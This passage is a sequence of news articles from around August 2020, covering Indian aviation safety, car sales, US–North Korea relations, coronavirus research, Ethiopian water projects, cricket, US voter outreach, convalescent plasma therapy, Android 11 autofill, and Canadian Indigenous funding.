professionals had seen, his widow Susan Schneider Williams said in a statement regarding the documentary. Robins Wish will be available on demand in the USA from September 1. A NZ release date has yet to be confirmed. Aviation regulator DGCA has suspended two senior executives of AirAsia India for a period of three months over "safety violations", said a senior official on Tuesday. The suspension was carried out a week ago, the official said. In June this year, one of the AirAsia India's former pilots -- who runs a YouTube channel called Flying Beast -- alleged violations of safety norms by the low-cost airline. "We had issued a show cause notice to two AirAsia India executives -- Head of Operations Manish Uppal and Head of Flight Safety Mukesh Nema -- in June only. It has been decided now to suspend them for a period of three months," the Directorate General of Civil Aviation (DGCA) official said. AirAsia India did not respond to PTI's request for a statement on this matter. Also read: Coronavirus impact: Air India withdraws job offers for 180 trainees Captain Gaurav Taneja, a popular Youtuber, tweeted on June 14 that he has been suspended by AirAsia India "for standing up for safe operations of an aircraft and its passengers". On June 15, he posted a detailed video on YouTube titled "Reasons behind suspension from my pilot job". Taneja alleged in the video that the airline has asked its pilots to do 98 per cent of landings in "Flap 3" mode, which allows it to save fuel. He said if a pilot does not do 98 per cent of landings in "Flap 3" mode, the airline considers it a violation of its standard operating procedure (SOP). Also read: Notice to AirAsia over pilot's 'unsafe landing' allegations, says report Flaps are part of wings of an aircraft and they are engaged to create a drag during a landing or a take-off. Taneja gave the example of the Imphal airport, where the plane descends more steeply as compared to other airports when approaching for landing. He said when an aircraft is coming down steeply, it needs to have a drag so that it remains slow, and in these circumstances a pilot has to do a "Flap full" landing. "In order to achieve targets, what would people do? They will do Flap 3 landings without giving consideration whether it is safe or unsafe. This directly impacts the passenger safety," he had claimed in his YouTube video. "If something happens during a Flap 3 landing, then the question would be asked to the pilot if he or she cares more about saving fuel or 180 passengers'' lives, Taneja had said. On June 15, the Directorate General of Civil Aviation (DGCA) said on Twitter that it had taken note of the concerns raised by some stakeholders "against a particular airline and its approach to safety". "DGCA has already started an investigation into the issues flagged and shall take appropriate action based on the outcome of the said investigation," it added. Senior DGCA officials had confirmed on June 15 itself that AirAsia India was under investigation after Taneja's allegations. Also read: AirAsia aircraft aborts take-off at Ranchi airport following bird hit With entry-level cars being preferred amid the pandemic, market leader Maruti Suzuki has strengthened its hold, along with Hyundai Motor India. Tata Motors (TaMo) has overtaken Mahindra & Mahindra (M&M) to third place in terms of vehicles registered in July over the year-ago period. This is according to market share data (manufacturer-wise), based on new registrations, released by the Federation of Automobile Dealers Association (Fada). Further, with entry-level cars being preferred amid the pandemic, market leader Maruti Suzuki has strengthened its hold, along with Hyundai Motor India. This is the first time the auto dealer body has released market share data based on registration. The Society of Indian Automobile Manufacturers (Siam) releases data based on wholesale numbers (dispatches to dealers). Based on Mondays numbers, TaMos new registrations increased to 12,753 units in July, against 12,760 in the year-ago period. Tata Group flagship saw its share in the passenger vehicle (PV) segment rise to 8.10 per cent, from 6.07 per cent last year. Registration of M&M vehicles dropped to 7,811 units, from 17,828 last year, while the market share dropped to 5 per cent, from 8.47 per cent. The top two, Maruti and Hyundai, strengthened their lead in terms of market share, even as volumes saw a year-on-year drop. Marutis share jumped from 47.24 per cent to 50.40 per cent, while that of Hyundais inched up to 18.69 per cent, from 18.33 per cent last year. Kia Motors India, one of the latest entrants into the PV market, cornered 4.45 per cent in July. Renault India, too, showed a smart recovery - its market share rose to 3.18 per cent, from 2.04 per cent. Most other PV makers saw a yearly drop in market share, shows the data. The local arms of Toyota and Honda Cars saw their share drop to less than 3 per cent each, from nearly 5 per cent last year. Compared to M&M, TaMo has a significantly younger portfolio, which helped them. "The market share is the ability to supply (in todays context) and the newness of products, along with customer profile - if one is able to attract credit-worthy customers or the bargain hunters, said Ravi Bhatia, president and director at JATO Dynamics, a global supplier of automotive business intelligence. For the same reason (newness), Kia has been able to attract buyers, added Bhatia. Among two-wheeler makers, with the exception of market leader Hero MotoCorp - which saw its share rise to 40.66 per cent, against 35.61 per cent - most other two-wheeler makers saw a drop in share. Even as the overall two-wheeler and PV sales have improved from June levels, auto companies remain cautious and have adopted a calibrated approach in ramping up for the festive season. Photograph: Hemanshi Kamani/Reuters U.S. President Donald Trump talks with North Korean leader Kim Jong-un at the inter-Korean border village of Panmunjeom in the Demilitarized Zone in June 2019. / Korea Times file By Kang Seung-woo En route to the presidential election in November, U.S. President Donald Trump has been increasingly promoting the illusion of progress in ties with North Korea. However, diplomatic watchers say it is nothing more than a campaign strategy to stay in power for four more years. Last week, Trump said he would make "deals" with North Korea very quickly if reelected in November, followed by another report by Japan's Kyodo News saying the U.S. is seeking to establish liaison offices in both Pyongyang and Washington in order to advance denuclearization talks. Trump held a summit with North Korean leader Kim Jong-un in Singapore in June 2018, becoming the first serving U.S. president to meet a North Korean leader; since then, they have met on two more occasions. However, there has been no progress in denuclearization negotiations, although the U.S. leader has touted a moratorium on long-range missile and nuclear tests based on his relationship with Kim, as the biggest diplomatic achievement of his presidency. "I think Trump sees this as an issue where he can claim some success through his relationship with Kim Jong-un and will use that in the election," U.S. Naval War College professor Terence Roehrig said. Daniel Sneider, an international policy expert at Stanford University, said Trump's repeated references to the North are not policy statements or calculated attempts to influence North Korea's behavior. "Everything Trump does is about staying in power and getting reelected. There is no North Korea policy. He is only trying to deflect criticism that his wooing of Kim Jong-un has led to nothing, and to be able to still claim that he brought peace to the Korean Peninsula," Sneider said. Speculation is rampant that the North may plan a military provocation before the U.S. presidential election to gain the Trump administration's attention. In that respect, despite no deal between the two sides, many believe that Trump's repeated references to the North are also aimed to prevent the totalitarian state from intervening in the election. However, Roehrig said the North would be better off refraining from provocation. "North Korea also understands that the reelection of Trump would be its best chance of cutting a deal that it viewed as favorable so Pyongyang will not do anything overly provocative that might hurt his chances of winning," he said. The experts say Trump may follow through with his promise of a denuclearization deal if reelected, expressing concerns that he may reach an ill-advised agreement with Kim. "If Trump wins reelection, there is certainly a possibility for progress on a denuclearization deal and it is well worth the effort to try. However, these talks must be part of a well-thought, long-term strategy. Coming at this issue with a view that it can be settled with one big deal is a mistake and optimistic in the extreme," Roehrig said. Bruce Klingner, a former CIA analyst and North Korea watcher at the Heritage Foundation, also advised the U.S. not to indiscreetly accept the North's requests. "The Trump administration should not acquiesce to partial denuclearization agreements or peace declarations that only provide the illusion of progress without resolving the North Korean nuclear, missile and conventional forces threats," Klingner said. "Instead, Washington should continue pressing Pyongyang for discussions with Deputy Secretary of State Stephen Biegun, who remains the U.S. Special Representative for North Korea." India's third Covid wave likely to peak on Jan 23, daily cases to stay below 4 lakh: IIT Kanpur scientist Coronavirus transmission risk increases along wildlife supply chains, says study India pti-Deepika S New York, Aug 11: Coronaviruses, the family of viruses which includes the COVID-19 causing SARS-CoV-2, is amplified along wildlife supply chains from traders to large markets to restaurants, according to a study which says the maximal risk is for end consumers of such products, likely explaining how these viruses jump species to humans. In the research, published in the journal PLOS ONE, coronaviruses were detected in a high proportion of bats and rodents in Vietnam from 2013 to 2014, with an increasing proportion of positive samples found along the wildlife supply chain. COVID-19: Physical distancing associated with significant reduction of transmission The scientists, including those from the Wildlife Conservation Society in the US, noted that there is an amplification of coronaviruses along this supply chain posed a very high risk for end consumers of such animal products. They said this may likely explain how the virus jump species to humans and causes epidemics. According to the study, outbreaks of emerging coronaviruses in the past two decades and the current pandemic caused by SARS-CoV-2 highlight the importance of this viral family as a public health threat. Human-wildlife contact with a bat or an intermediate host species in China almost certainly triggered a coronavirus spillover event that may have involved wildlife markets, leading to the pandemic spread of SARS-CoV-2, the scientists said. Beyond China, they added that commercial wildlife farming in Vietnam is part of the expanded international wildlife trade -- thought to contribute to global epidemics, such as the 2002-03 SARS pandemic, and the COVID-19 outbreak. To better understand the natural hosts of coronaviruses and the risk for their jump across the species barrier into humans, the researchers analysed the presence and diversity of this virus family in wildlife at wildlife-human interfaces in Vietnam from 2013 to 2014. They found high proportions of positive samples of coronaviruses among field rats (34.0 per cent) destined for human consumption and bats (74.8 per cent) adjacent to human dwellings. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News The odds of coronavirus detection increased along the supply chain, from field rats sold by traders (20.7 per cent), to field rats sold in large markets (32.0 per cent), and field rats served in restaurants (55.6 per cent), the study noted. Low-cost moist heat treatment of N95 masks eliminates coronavirus: Study It said coronaviruses were also detected in rodents on most wildlife farms sampled (60.7 per cent), affecting Malayan porcupines (6.0 per cent) and bamboo rats (6.3 per cent) raised for human consumption. To minimise the public health risks of viral disease emergence, the researchers recommend improving coronavirus surveillance in wildlife, and implementing targeted wildlife trade reform. "This study shows the wildlife supply chain generates a one-two punch when it comes to spillover risk. It is known to increase contact rates between wildlife and people, and here we show how it greatly amplifies the number of infected animals along the way," they said. A Chinese-funded water cellar has become a precious asset of the family of Abebayehu, a villager in Ghadaig Town, Amhara region, Ethiopia. A local woman in Ghadaig Town, Amhara region, Ethiopia, takes a photo in front of a Chinese-funded water cellar. (Photo/Courtesy of XCMG) In rainy season, rainwater moves down the iron roof and gathers at the eaves of the house, and then flows along a pipeline into the underground water cellar at the threshing ground of Abebayehus family. The water stored in the place can guarantee a stable and safe water source for the family during the dry season. With a water storage capacity of 30 cubic meters, the water cellar can meet the basic water demand of the family of five for half a year at least. Located in the Horn of Africa, Ethiopia has been long troubled by drought. In the 1980s, a severe famine caused by drought led to the death of more than 400,000 Ethiopian people. Today, many families living in remote areas of the country have to walk dozens of kilometers of mountain roads to fetch water every day. Since water source is so precious in these areas, people and livestock share the sources of drinking water. Diarrhea and communicable diseases like dysentery are still confronting the local people. Besides, water shortage and communicable diseases are the primary causes for the high mortality of infants and children in these areas. In an effort to alleviate the difficulty in using water for Ethiopian people, Chinas leading construction machinery manufacturer Xuzhou Construction Machinery Group (XCMG) and China Foundation for Poverty Alleviation (CFPA) jointly built a batch of concrete water cellars for villagers in water-deficient areas of Ethiopia. Based on the successful experience of domestic areas which used to suffer from water shortage, the Chinese-built water cellars effectively store up water during the rainy season by utilizing such facilities as roofs and threshing grounds. The water stored in these cellars can not only meet peoples basic needs for water, but can even be used for agricultural irrigation for higher crop yield. Initiated in August 2016, the Africa Public Welfare Project that is aimed at helping alleviate the problem of water shortage for areas suffering from droughts in Ethiopia, has entered the third phase. The first and second phases of the project have built 81 water cellars for seven Ethiopian villages, benefiting more than 6,700 local people. The third phase of the project focuses on facilitating the supply of water for schools in remote areas of the country. The serial number of the water cellar in the family of Abebayehu is No.23. It was built during the first phase of the project. According to Abebayehu, he and his wife used to get up before dawn and drive the cattle to a pool located 15 kilometers away to fetch water during the dry season. Since the round trip took most of the day, they barely had time to take care of the crops. Therefore, the yields of wheat, corn, and teff were all very low. Besides, since the water in the pool is always cloudy and the pool may dry up during severe drought, Abebayehu had to go to the town and buy water sometimes. Now that they have the water cellar, Abebayehu and his wife don't have to walk far away to get water and have time to carefully manage their crops, according to Abebayehu, who said he has witnessed higher crop yields and even started to plant fruit trees and vegetables in the backyard of his house. All these fruit trees and vegetables were grown after the Chinese-funded water cellar was built in his family, Abebayehu said, referring to fruit trees such as orange trees, lemon trees, pawpaw trees, banana trees, as well as wheat, chili, and vegetables flourishing in the backyard of his house. In 2019, XCMG, CFPA and a public-welfare organization jointly initiated a water purification project in 40 public elementary schools and kindergartens in Ethiopia's capital Addis Ababa. The project provided all these schools with carbon fiber water tank with a capacity of 10,000 liters, VZN water purifier, five drinking water pools, and five hand washing sinks. These facilities can meet the water demand of 1,000 local students for drinking and personal hygiene as well as the needs of school kitchens for nearly three days. Since the establishment of the comprehensive strategic partnership of cooperation between China and Ethiopia, Ethiopia has achieved rapid development in such sectors as infrastructure construction, education, and culture, according to Anils Awon, director of irrigation for the Ethiopian Ministry of Agriculture and Natural Resources. More and more Chinese companies have made efforts to repay the society and fully fulfill their social responsibilities while carrying out operational activities in Ethiopia, said Awon. The water cellar project has benefited a growing number of residents living in arid areas and brought water sources and health to the local people, Awon said, adding that he hopes Chinese companies and non-governmental organizations will continue helping accelerate the development of Ethiopia and improve the peoples livelihood of the country. Thiamsanga is a doctor by profession who specialises in obstetrics and gynaecology In this file image ZR Thiamsanga was treating a policeman at the Myanmar border. (@DIPR_Mizoram) Aizawl: Mizoram legislator ZR Thiamsanga, who was visiting the earthquake-hit areas of the remote Champhai district, performed an emergency caesarean and helped a woman deliver when he was told that no doctor was available to attend to her. Thiamsanga, a doctor by profession who specialises in obstetrics and gynaecology, often puts on his stethoscope to attend to medical emergencies in remote areas. He was on a visit to his constituency, Champhai North near the Myanmar border, on Monday to assess the damges caused by the recent earthquakes and take stock of the COVID-19 situation. C Lalhmangaihsangi (38) from the remote Ngur village, who was expecting her second child, was bleeding profusely and her condition was critical, Thiamsanga told PTI. The medical officer of the Champhai hospital was on leave due to health issues and the woman was not in a position to travel to Aizawl, about 200 km away, he said. When I was informed about the condition of the woman, I immediately rushed to the hospital and performed an emergency caesarean, he added. The mother and the baby are doing well, he said. Thiamsanga said it was his responsibility to help those in need. In June, he hit the headlines when he rushed to attend to an ailing security personnel guarding the India-Myanmar border, crossing a stream and walking several kilometres. He contested the 2018 election on a Mizo National Front (MNF) ticket and defeated sitting Congress MLA TT Zothansanga. He is at present also the vice-chairman of the state Health and Family Welfare Board. KYODO NEWS - Aug 11, 2020 - 21:12 | All, Japan, Coronavirus Conforming to social norms is the primary motive for Japanese people wearing face masks during the novel coronavirus pandemic, survey results recently showed, dismissing the oft-touted reason that wearers are putting them on to protect themselves and others. A team of psychologists led by Kazuya Nakayachi, a Doshisha University professor, surveyed 1,000 people about the wearing of masks and its efficacy based on a five-point rating scale, and found that the top reason for wearing masks was because everyone else was doing so. With its findings, the team urged public health policymakers to "consider social motivations when implementing public strategies" to fight the virus. In the online Likert-scale survey, participants responded from one for "not at all" to five for "very much" to determine how strongly various motives would drive them to wear masks. Related coverage: Japan's Saizeriya restaurant "develops" face mask to wear when eating Japan PM says he stopped wearing "Abenomask" as various options available FOCUS: Japanese expat's handmade mask sales boom as Aussies adopt new habits The strength of correlation was then converted into a numerical scale of zero to one, with zero indicating no correlation. The respondents were recruited to reflect Japan's general population distribution in terms of sex, age and area of residence In the survey, conforming to other people's behavior had the highest correlation scale of 0.44, while relieving anxiety was second at 0.16. Protecting wearers from being infected and preventing them from infecting others, as suggested by the World Health Organization, was near zero, showing almost no correlation with the decision to wear a mask. While masks have become widely established as a form of etiquette in Japan, there are still some measures under the government's call for a "new lifestyle" in the coronavirus era that the public are unaware of. Nakayachi said building pressure to conform is an effective way for policymakers to prompt people to act favorably. But he also warned against overdoing it and building a "society that is constrictive and under surveillance." The study was published in Frontiers in Psychology, a specialized journal based in Switzerland. England opener Dom Sibley bats against Pakistan in the first Test at Old Trafford England opening batsman Dom Sibley is still wary of Pakistan's bowlers heading into the second Test at Southampton on Thursday. The hosts lead the three-match series 1-0 after a three-wicket victory in the first Test at Old Trafford last week. It was a tough match for Sibley, however, with the Warwickshire right-hander lbw to accurate seamer Mohammad Abbas for eight in the first innings and caught at slip for 36 off leg-spinner Yasir Shah in the second as England eventually chased down a stiff target of 277. With Pakistan's line-up again set to feature left-arm quick Shaheen Afridi and teenage fast bowler Naseem Shah, Sibley expects to have his work cut out again in the second Test. "They are a very good attack - they have got a bit of everything," Sibley told reporters on Tuesday. "Abbas is very accurate, they have left-arm angle (Afridi) and the youngster (Naseem) who has some pace and bowled really well last week and a world-class spinner (Yasir). "It is a very good attack but we have had a look and now we need to adapt and prepare for Thursday." - 'More to give' - Nevertheless, the 24-year-old Sibley said he remained "greedy" for "more big runs" having made two hundreds in his first 10 Tests. "If you said to me after 10 Test matches you'd be averaging 40 and have two hundreds I'd have been pleased. "But at the same do I do feel I have got a lot more to give. I do feel like I have let opportunities slip to score maybe four or five hundreds. "I know that might sound greedy, and unrealistic, but that is the way I am thinking." Sibley added: "There are periods where bowlers bowl at you and think, 'I'm not sure how I am going to score big runs against this guy', but it's just a case of getting through that and people always say batting does get easier. "I am starting to feel more comfortable when I go out to bat, there are some amazing bowlers but I always go out to back myself." Story continues England will be without Ben Stokes for the remainder of the series after the star all-rounder left the camp for personal reasons to head to New Zealand, where his father is recovering from a serious illness. "He is a massive part of our team and he is one of the best players in the world, but obviously family comes first and we will be supporting him with everything that is going on," Sibley said. "We will have to make do in his absence, people will have to step up." Sibley had previously said it was the example of Stokes and Jos Buttler that had encouraged him to lose some 12 kilogrammes during lockdown. Although he ran out Asad Shafiq with a direct hit during Pakistan's second innings, Sibley refused to attribute the dismissal to his new slimline build -- which he said he was still working on. "I've got to watch what I eat and make sure I get in the gym a little bit," Sibley explained. "For example if I hit a low score, I'll try and get something done so that I don't sit around and have tea and biscuits all day watching the other boys get runs," he added. jdg/mw WASHINGTON The NAACP, the largest U.S. civil rights organization, is launching a drive ahead of Novembers presidential election to boost Black voter turnout in six key states, it said on Tuesday. The initiative aims to enlist the services of about 200,000 high-propensity" Black voters, or people who turned out to vote in a high number of recent local, state and presidential elections. Those voters, in turn, will seek to mobilize so-called low-frequency" Black voters - people who were registered to vote, but who had not voted in the most recent election cycle or several election cycles - in Florida, Georgia, Michigan, North Carolina, Pennsylvania and Wisconsin. The goal is to increase Black turnout by more than 5% compared to 2016. That year, Black voter turnout declined for the first time in 20 years, according https://www.pewresearch.org/fact-tank/2017/05/12/black-voter-turnout-fell-in-2016-even-as-a-record-number-of-americans-cast-ballots to the Pew Research Center. Weve seen the outcome of when we have a drop in voter activity in the Black community," said NAACP President Derrick Johnson. We have racism germinating from the White House," he said, stressing the urgency of getting African-American voters to the polls. The voter turnout initiative comes during a national reckoning on race after a summer of nationwide protests sparked by the killing of African-American George Floyd by a police officer. A majority of Americans said they were sympathetic with the protests, according to a Reuters/Ipsos poll in June. [L1N2DF1CL] Earlier on Tuesday, presumptive Democratic presidential candidate Joe Biden selected Senator Kamala Harris to be his running mate in the 2020 election, the first Black woman to appear on the presidential ticket for a major party. Biden will face off against President Donald Trump, who has often publicly stated that he has done more for African-Americans than previous presidents. Polling has found his approval rating among Black Americans remains low. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor A blood donor in Bangkok, Thailand, lays on a transfusion chair. The Thai Red Cross has requested to donate blood plasma from patients recovering from COVID-19. Amphol Thongmueangluang/SOPA Images/LightRocket/Getty Images The FDA is considering authorizing convalescent plasma as an emergency treatment for COVID-19. The therapy involves treating sick patients with the blood of those who have already recovered. Convalescent plasma is also the basis for a drug, hyperimmune globulin, which would deliver consistent antibody levels to patients. But researchers still need to prove that the treatments are safe. Visit Business Insider's homepage for more stories. During the 1918 Spanish flu pandemic, doctors discovered they could treat sick patients with the blood of those who had already recovered. The therapy, known as convalescent plasma, helped reduce mortality among people with acute infections. Now, it's showing promise as a treatment for COVID-19. That's because many people who get the coronavirus develop neutralizing antibodies our body's natural response to a foreign pathogen. Dr. Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases, has called them "the gold standard of protection against a viral infection." Since antibodies develop in plasma, the liquid portion of blood, doctors can transfer this plasma intravenously to a patient. Related video: What we know about immunity for the coronavirus If the treatment works, the new patient would also mount an antibody response to the virus. "What we really need are drugs that, when given early, can prevent a symptomatic person from requiring hospitalization or very dramatically diminish the time that they're symptomatic," Fauci told Facebook founder Mark Zuckerberg last month. Convalescent plasma is especially promising in that regard in theory, it could prevent a mild case from becoming more severe. Already, the US Food and Drug Administration is allowing more than 2,700 hospitals to administer the treatment through an expanded access trial led by the Mayo Clinic. As of Monday, the trial has delivered plasma to more than 90,000 patients, according to the program website. Story continues The FDA is now getting closer to authorizing convalescent plasma for emergency use, according to the Wall Street Journal. An emergency use authorization would allow doctors to administer the treatment earlier in the course of an infection, when it's believed to be most effective. However, there are still major limitations to its widespread use. Plasma must be transferred quickly from a donor to a recipient and both must have compatible blood types. The quantity is also limited, since it depends on blood donations. That means plasma isn't likely to be a long-term treatment for the virus. Instead, researchers and pharmaceutical companies see it as an interim therapy until a vaccine becomes readily available. Early research shows promise A recovered coronavirus patient donates blood samples for plasma extraction to help critically ill patients at the National Blood Transfusion Center on June 22, 2020. Ameer Al Mohammedaw/Getty Preliminary studies on convalescent plasma have primarily focused on its efficacy among hospitalized patients. A May study from researchers at Mount Sinai which is still awaiting peer review found that hospitalized coronavirus patients who received convalescent plasma had a higher chance of survival than those who didn't receive the treatment: Only 18% of the plasma recipients saw their conditions worsen two weeks after their transfusion compared to 24% of patients who didn't receive the treatment. By May 1, nearly 72% of the plasma recipients had been discharged from the hospital compared to 67% of the other patients. But the study was small only 39 patients received transfusions and the results were only significant for patients who didn't need a ventilator. In another study (also not yet peer reviewed), researchers at the Mayo Clinic found that convalescent plasma reduced the mortality rate among hospitalized coronavirus patients by 57%. Mayo Clinic researchers also determined that the treatment was relatively safe among 5,000 adults with severe or life-threatening cases. Less than 1% of the patients developed severe side effects within four hours of receiving a blood transfusion. Although transfusions always pose some risk to seriously ill patients, only four deaths were linked to the plasma therapy. Drug companies are converting plasma into medicine An Iraqi phlebotomist holds a bag of plasma donated by a recovered COVID-19 patient at the blood bank of Nasiriyah in Iraq's Dhi Qar province, June 24, 2020. Asaad Niazi/AFP/Getty Images In May, a coalition of medical institutions, drug companies, nonprofits, and COVID-19 survivors launched "The Fight Is In Us" a campaign to get more recovered coronavirus patients to donate blood. Some of that blood will be used for direct transfusions, and the rest will go toward manufacturing hyperimmune globulin, a drug built from convalescent plasma. The process of creating hyperimmune globulin involves pooling plasma from recovered patients and heat-treating it so that any remaining pathogens get destroyed. The result is a vial of medicine with consistent antibody levels that can easily be administered to patients. The drug focuses on the most common antibody found in blood immunoglobulin G (IgG) which usually confers long-term immunity. "It's basically treated in a way that reduces the likelihood that it could pass on any infections," David Reich, president and chief operating officer of The Mount Sinai Hospital, told Business Insider in April. "Something like that could be helpful, potentially, to people in the early phase of the disease or potentially as prophylaxis against the disease." Mount Sinai is working with Emergent BioSolutions, a Maryland-based biopharmaceutical company, to develop a hyperimmune globulin product. The group will study whether the drug can protect individuals at high risk of exposure, such as healthcare workers, from getting infected in the first place. A coalition of 10 drug companies involved in the "The Fight Is In Us" campaign is also creating a hyperimmune globulin drug. The research is led by Takeda, Japan's largest pharmaceutical company, and CSL Behring, a Pennsylvania-based biotech company. They're hoping to determine whether hyperimmune globulin improves outcomes for coronavirus patients with severe cases. "Our goal here isn't to continue to produce hyperimmune globulin ad infinitum," Christopher Morabito, head of research and development for plasma-based therapies at Takeda, previously told Business Insider. "Our goal here is to have an effective therapy to bridge us to a point where either the pandemic is over because it dies out, or because there's a vaccine available, or until there are many more effective treatments for patients with this disease." The coalition hopes to secure regulatory approval from the FDA by the end of 2020. But there are plenty of hurdles: Drug quantities are still limited by the quantity of plasma people donate. Companies researching hyperimmune globulin and direct convalescent plasma treatments also still need to prove that the approaches are safe. As of Friday, Fauci said health officials were "still analyzing the data" to see if convalescent plasma is effective for COVID-19. Read the original article on Business Insider (Photo : Screenshot from Twitter post of @meditaudios) Android 11 Will Use Keyboard Integration to Enhance Autofill for Passwords (Photo : Screenshot from Twitter post of @PerfectPps) Android 11 Will Use Keyboard Integration to Enhance Autofill for Passwords Android 11 is planning to improve autofill for passwords by using keyboard integration, which is currently being tested with Gboard. According to Android Central's latest report, Gboard will also coordinate with third-party password managers to work on the integration. The innovation was first reported by Android Police, stating that native autofill support has been supported by Android since its Android 9 Pie version. However, although autofill has been an accepted method, using it to fill out passwords and addresses is sometimes faulty. Also Read: [PSA] Stalkers Will Know Your Running Routes Online: Don't Post Running Activities Using phones might also have some problems since password entry fields might take a few seconds to be recognized. To resolve this issue, Google is planning to improve filling in passwords on Android better. It was also previously reported that biometric authentication and a touch-to-fill system was already used by Google for login information in Chrome. Also Read: China's Voice Bots Can Make 3,000 Annoying Calls A Day Even If You Block Them According to Android Central's previous report, Google upgraded Chrome's autofill experience, as well as enabling fingerprint authentication for credit card transactions. The update will require the users to insert their CVC code the first time they will use their credit card. After using the CVC code, they can now use biometric forms of authentication, such as facial recognition and fingerprints. The new feature is already available on Mac PCS and Windows, which is protected by WebAuthn W3C standard. For those people who don't want to use the new feature, Google will offer them an option to go back using manual CVC code input before every transaction. Google's new autofill method Android 11 and Google will introduce a new autofill method integrated with your keyboard, both in a third-party app or Gboard. The report stated that autofill suggestion inline could be displayed by keyboards and other input-method editors (IMEs), as described by Android Developers resource. The suggestions inline will be presented by a suggestion strip instead of a dropdown menu. > Curved Amoled Display > 120hz refresh rate > Snapdragon 865/865+ > Punch hole screen > Quad camera > 120X Zoom > Android 10 > In display FS > 120W Wired, 55W Wireless charger > 4,500mah battery > 5G Device > 8+256GB, 12+256GB, 16+512GB > Launch 11 Augustpic.twitter.com/9lRb0Kapbh Mi 10 Ultra> Curved Amoled Display> 120hz refresh rate> Snapdragon 865/865+> Punch hole screen> Quad camera> 120X Zoom> Android 10> In display FS> 120W Wired, 55W Wireless charger> 4,500mah battery> 5G Device> 8+256GB, 12+256GB, 16+512GB> Launch 11 August #Mi10Ultra TechUpdates7 (@PerfectPps) August 8, 2020 User information will stay private, just like in the Android 10-and-lower dropdown based approach, since the keyboard will only identify the password once the person taps it. You can see how it will look like by visiting Google Chrome's new autofill interface. However, some users will have to wait for a few weeks or months after the Android 11 is launch since both password managers and keyboards need to be updated to use the new feature. The report also explained that the update will still depend on the user's apps of choice and the development cycles for them to see their credit cards, passwords, and addresses from their keyboard's password manager. For more news updates about Android 11, always keep your tabs open here at TechhTimes. Also Read: Scammers Sell Millions of Fake Views on Instagram Reels: You Can Buy 1,000 View For $5 This article is owned by TechTimes, Written by: Giuliano de Leon. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Dr Alex George has admitted his life has 'changed immeasurably' since the tragic death of his brother Llyr and he now wants to help tackle the mental health crisis. The former Love Island star, 30, recently told how he is 'hanging on by a thread' after his younger brother's death aged 20, following a battle with mental health. Taking to Instagram, Alex shared a snap of himself standing beside his car as he said it's time for him to 'rebuild and grow'. Goal: Dr Alex George, 30, has admitted his life has 'changed immeasurably' since the tragic death of his brother Llyr and he now wants to help tackle the mental health crisis He wrote: 'There is no doubt that my life changed immeasurably two weeks ago. We are thrown into the deep end at times, however, with family and friends we can overcome even the most seemingly insurmountable challenges. 'It is now time for me to head back to London, to reflect, rebuild and grow. I already have a fire in me, things I want to tackle and change, especially when it comes to mental health. 'For now I just want to say thank you to all of you who have supported me. The kindness has been truly overwhelming. Please know it has helped me no end and continues to get me through each day. Thank you '. Alex was left shocked when a follower took issue with him for being on social media so shortly after Llyr passed away last month. Family: The former Love Island star recently told how he is 'hanging on by a thread' after his younger brother's death aged 20, following a battle with mental health Alex wrote: 'We are thrown into the deep end at times, however, with family and friends we can overcome even the most seemingly insurmountable challenges' The star took a screen grab of the exchange, in which the person responded to his seaside picture with the comment: 'your brother is dead get off social media.' Sharing his anguish at the response, Alex penned: 'Imagining being this person. I'm holding by a thread and you get people like this.' In his next Instagram story, the medic explained to his fans why he was on social media, as he thanked them for support during this tough time. He wrote: 'I am honest and open with you all. The good, the bad and the ugly. Shocking: Alex was left shocked when a follower took issue with him for being on social media so shortly after Llyr passed away last month 'There is so much that isn't shared online of course. So many of you are so kind and message me each day with well wishes.' He concluded: 'I often post to let you know I am still going strong x.' Alex recently confirmed that his brother's funeral took place on Monday. While the following day, he paid a heartbreaking tribute to his younger brother. Response: In his Instagram story, the medic explained to his fans why he was on social media, as he thanked them for support during this tough time Sharing a photo of him with his arm around his sibling, standing in front of a scenic backdrop, Alex captioned the image: 'Yesterday I said goodbye to my little brother Llyr. It was the hardest day of my life. 'Except it wasnt goodbye. Llyr, your dream was to become a doctor, you will live that dream. Every patient I see, we will do it together, you and I 'Your favourite passion is cars, every time I am out driving, I know you will be there laughing and smiling with me. 'I love you so much Llyr, you are always with me, my boy ' Distraught: Dr Alex announced to Instagram last month that he had lost his 'beautiful little brother to mental health' (posted on Instagram in 2018) Ahead of Monday's funeral, the A&E doctor wrote: 'Life throws us in at the deep end sometimes, however, with family and friends we overcome the most seemingly insurmountable challenges. Today is for you Llyr.' The previous evening, Dr Alex shared a post which read: 'Tomorrow will be the hardest day of my life. We will get through for Llyr and the rest of the family.' Llyr died just weeks before he was due to follow in his older brother's footsteps and start medical school. Announcing the tragic news last month, Alex wrote: 'I can't believe I am actually writing this post. Sad: On Monday, the star appeared to confirm that his family had laid Llyr to rest that day as he took to the social media platform to share an update 'I have lost my beautiful little brother to mental health. I love you so much Llyr. The kindest and most caring soul. 'I was so proud of you starting medical school next month, you would have been the most incredible doctor. We are hurting so bad. No words can explain. 'As a family we are devastated. We love you and miss you so much. Please rest in peace x Our boy.' If you have been affected by this story, you can call the Samaritans on 116 123 or visit www.samaritans.org. MONTREAL, QC, Aug. 11, 2020 /CNW/ - Today, the Honourable Marc Miller, Minister of Indigenous Services, highlighted the national organizations who received critical funding to ensure the safety and wellbeing of Indigenous Peoples living in urban centres across Canada. The Government of Canada has allocated $24.6 million in funding to the National Association of Friendship Centres, the 2 Spirits in Motion Society, and the Congress of Aboriginal Peoples. From the onset of the COVID-19 pandemic, the Government of Canada has worked in collaboration with organizations and communities that provide services to First Nations off-reserve and Indigenous Peoples living in urban areas. This funding supports national projects that address the critical needs of Indigenous populations during this crisis, including food security, mental health support services, housing needs and required emergency supplies, as well as the development of a COVID-19 Pandemic Response for 2 Spirited People in Canada. In addition, the funding could also help with other important needs, such as support for Elders, transportation, and educational materials for Indigenous children and youth. Between mid-March and May 2020, the Government of Canada committed a total of $90 million in funding, through the Indigenous Community Support Fund, to help Indigenous organizations and communities provide support to First Nations living off reserve and urban Indigenous Peoples during the COVID-19 pandemic. Approximately 260 Indigenous organizations and communities across the country have been supported to date by the Indigenous Community Support Fund, to help address the critical needs of First Nations people living off reserve, and Indigenous Peoples in urban centers during this pandemic. Quote "As COVID-19 continues to affect Canadians across the country, I want to take this opportunity to acknowledge the critical work of these Indigenous organisations who have provided holistic and culturally-appropriate services and programming to Indigenous Peoples during this pandemic. Their hard work and dedication has ensured that the 